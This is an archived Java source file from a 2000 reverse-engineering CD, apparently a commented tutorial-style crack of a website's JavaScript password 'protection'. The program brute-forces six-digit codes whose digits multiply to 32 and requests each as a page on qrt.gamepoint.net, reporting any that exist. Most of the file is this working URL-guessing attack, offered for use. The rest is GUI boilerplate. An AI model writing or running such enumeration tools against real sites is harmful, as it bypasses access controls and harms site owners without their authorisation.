home *** CD-ROM | disk | FTP | other *** search
/ Reverse Code Engineering RCE CD +sandman 2000 / ReverseCodeEngineeringRceCdsandman2000.iso / RCE / Fravia / fravia / Hacker.java < prev    next >
Encoding:
Java Source  |  2000-05-25  |  7.9 KB  |  201 lines

  1. <prE>
  2.  
  3. /*
  4.     Cracking the Qrt JavaScript 'protection', by Gattman of Diamond.
  5.     URL: http://here.is/diamond (sorry, just had to do that...)
  6.     
  7.     This is the heavily commented version for all you guys who
  8.     aren't familiar with Java. The code is strictly Java 1.0,
  9.     and should run on all JVMs.
  10.  */
  11.  
  12. import java.awt.*;                      // Import the Graphics and
  13. import java.net.*;                      // network packages.
  14.  
  15. public class Hacker extends Frame       // A frame, no applet, but an application.
  16. {
  17.        int amount;                         // Let's declare a global variable to keep track
  18.                                         // of how many passwords we'll find
  19.     static public void main(String args[])  // The main method. Need I say more?
  20.     {
  21.         (new Hacker()).show();          // Just open a new instance of this frame.
  22.     }
  23.  
  24.     void startButton_Clicked(Event event)   // What to do if the startbutton is clicked...
  25.     {
  26.         amount=0;                       // Reset the counter.
  27.         int mul=1;                      // Initialize the 'multiplication' variable
  28.         int digit=6;                    // We are looking for 6 digits.
  29.         startButton.disable();          // Don't you go pressing that startbutton until I'm finished, ya hear?
  30.         posLabel.show();                // Let's pop up a label
  31.         amountField.show();             // and an output field.
  32.         allRest(mul, digit, new int[digit]);    // Now for some backtracking!!!
  33.         outputArea.appendText("Total # of possibilities: "+amount+"\n");    // Some uninteresting statistics.
  34.         posLabel.hide();                // Dump the label
  35.         amountField.hide();             // and outputfield again, coz we're finished.
  36.         startButton.enable();           // Okay, it's safe to click again...
  37.     }
  38.     
  39.     void allRest(int mul, int digit, int[] array)   // A recursive backtracking method? Why would you do that?
  40.     {                                               // You could just use 6 for-loops. Yes, but from this we learn more.
  41.                                                     // It's neater, and more generic. It works just as well with 4 or 10 digits.
  42.         if (mul==32 && digit==0)                    // The base case. This is what we're looking for.
  43.         {
  44.             String code="";                         // We're going to need a string here...
  45.             for (int i=array.length; i>0; i--)      // A loop that converts the array to a string.
  46.             {                                       // We're going to need it for screen output and for the URL.
  47.                 code=code+(new String(""+array[i-1]));
  48.             }
  49.             amountField.setText(""+amount+", Code: "+code); // Dump our findings to the output field.
  50.             try                                     // Try and catch the exception.
  51.             {
  52.                 if (find(new URL("http://qrt.gamepoint.net/"+code+".html")))    // Is there a page with the URL formed by the code?
  53.                 {
  54.                     outputArea.appendText("Nr. "+amount+", Code: "+code+"\n");  // Yes, so let's print it in the area.
  55.                 }
  56.                 amount++;                           // Count the new one.
  57.             }
  58.             catch (MalformedURLException e)
  59.             {
  60.                 System.out.println(""+e);           // Print the exception to the console.
  61.             }
  62.         }
  63.         else if (digit>0)                           // We're not finished. Do we have 6 digits already?
  64.         {
  65.             for (int x=1; x<10; x++)                // Yes, so try every number from 1 to 10.
  66.             {
  67.                 array[digit-1]=x;                   // Put the number in the array.
  68.                 allRest(mul*x, digit-1, array);     // Call the method again and make the next step.
  69.             }
  70.         }
  71.     }
  72.     
  73.     boolean find (URL url)                                  // This method checks if a URL can be found on the server.
  74.     {
  75.         int responseCode=0;                                 // Reset the response variable
  76.         try                                                 // Try and catch an exception again.
  77.         {
  78.             URLConnection uc = url.openConnection();        // Make a connection to the server.
  79.             uc.getInputStream();                            // Contact the server for a response.
  80.             String resp = uc.getHeaderField(0);             // Get the response from the server.
  81.             int ind;                                        // Yet another variable.
  82.             try                                             // And another exception try and catch.
  83.             {
  84.                 ind = resp.indexOf(' ');                    // Get the first space.
  85.                 while(resp.charAt(ind) == ' ')              // Loop until all spaces are skipped.
  86.                     ind++;
  87.                 responseCode = Integer.parseInt(resp.substring(ind, ind + 3));  // Now we are at the response-code. Parse it to an integer.
  88.             }
  89.             catch (Exception e)
  90.             {
  91.                 System.out.println(""+e);                   // Print out the exception if it occurs.
  92.             }
  93.         }
  94.         catch (Exception e)
  95.         {
  96.             System.out.println(""+e);                       // And again.
  97.             responseCode=404;                               // But then the page probably doesn't exist, so give it a 404 anyway.
  98.         }
  99.         return (responseCode!=404);                         // '404 not found'? then false, else we got one!
  100.     }
  101.     
  102.     void exit()             // An uninteresting method that exits the app. (duh....)
  103.     {
  104.         hide();
  105.         dispose();
  106.         System.exit(0);
  107.     }
  108.     
  109.     void Hacker_WindowDestroy(Event event)  // Call the exit method if you click on the top right icon.
  110.     {
  111.         exit();
  112.     }
  113.  
  114.     void miExit_Action(Event event) {       // Or if you choose the File|Exit menu option.
  115.         exit();
  116.     }
  117.     
  118.     public Hacker()         // Uninteresting code which sets up the GUI.
  119.     {
  120.         //{{INIT_CONTROLS
  121.         setLayout(null);
  122.         addNotify();
  123.         resize(insets().left + insets().right + 405,insets().top + insets().bottom + 299);
  124.         setBackground(new Color(8421631));
  125.         outputArea = new java.awt.TextArea();
  126.         outputArea.setEditable(false);
  127.         outputArea.reshape(insets().left + 28,insets().top + 19,348,165);
  128.         outputArea.setBackground(new Color(11184895));
  129.         add(outputArea);
  130.         amountField = new java.awt.TextField();
  131.         amountField.setEditable(false);
  132.         amountField.hide();
  133.         amountField.reshape(insets().left + 192,insets().top + 192,124,24);
  134.         amountField.setBackground(new Color(11184895));
  135.         add(amountField);
  136.         posLabel = new java.awt.Label("Checking possibility #:");
  137.         posLabel.hide();
  138.         posLabel.reshape(insets().left + 48,insets().top + 194,143,21);
  139.         add(posLabel);
  140.         startButton = new java.awt.Button("Start!");
  141.         startButton.reshape(insets().left + 93,insets().top + 227,219,44);
  142.         startButton.setBackground(new Color(12632256));
  143.         add(startButton);
  144.         setTitle("Hacker");
  145.         //}}
  146.  
  147.         //{{INIT_MENUS
  148.         mainMenuBar = new java.awt.MenuBar();
  149.  
  150.         menu1 = new java.awt.Menu("File");
  151.         miExit = new java.awt.MenuItem("Exit");
  152.         menu1.add(miExit);
  153.         mainMenuBar.add(menu1);
  154.         setMenuBar(mainMenuBar);
  155.         //$$ mainMenuBar.move(4,277);
  156.         //}}
  157.     }
  158.  
  159.     public boolean handleEvent(Event event)     // Uninteresting event-handler.
  160.     {
  161.         if (event.target == this && event.id == Event.WINDOW_DESTROY) {
  162.             Hacker_WindowDestroy(event);
  163.             return true;
  164.         }
  165.         if (event.target == startButton && event.id == Event.ACTION_EVENT) {
  166.             startButton_Clicked(event);
  167.             return true;
  168.         }
  169.         return super.handleEvent(event);
  170.     }
  171.     
  172.     public boolean action(Event event, Object arg)  // And yet another one.
  173.     {
  174.         if (event.target instanceof MenuItem) {
  175.             String label = (String) arg;
  176.                 if (event.target == miExit) {
  177.                     miExit_Action(event);
  178.                     return true;
  179.                 }
  180.         }
  181.         return super.action(event, arg);
  182.     }
  183.     
  184.     
  185.     // And finally some uninteresting GUI-component declarations.
  186.     
  187.     //{{DECLARE_CONTROLS
  188.     java.awt.TextArea outputArea;
  189.     java.awt.TextField amountField;
  190.     java.awt.Label posLabel;
  191.     java.awt.Button startButton;
  192.     //}}
  193.  
  194.     //{{DECLARE_MENUS
  195.     java.awt.MenuBar mainMenuBar;
  196.     java.awt.Menu menu1;
  197.     java.awt.MenuItem miExit;
  198.     //}}
  199. }
  200.  
  201. </prE>